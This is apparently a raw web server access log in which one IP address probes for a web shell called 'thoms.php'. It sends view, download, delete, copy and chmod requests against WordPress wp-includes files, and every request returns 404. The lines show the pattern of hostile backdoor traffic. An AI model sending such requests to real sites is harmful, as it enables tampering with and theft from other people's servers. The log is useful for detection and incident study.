45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?del=blocks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?dl=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?dl=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:13 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frevision.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frevision.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?del=pomo&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pomo&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?chmod=IXR&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?del=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?chmod=formatting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?del=ai-client&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:14 -0400] "GET /thoms.php?chmod=vars.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:15 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:15 -0400] "GET /thoms.php?chmod=category-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:15 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbookmark-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fbookmark-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?dl=default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?del=css&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?del=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?dl=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?dl=class-requests.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:16 -0400] "GET /thoms.php?dl=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?del=locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?del=style-engine.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcomment-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcomment-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:17 -0400] "GET /thoms.php?chmod=deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?chmod=block-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
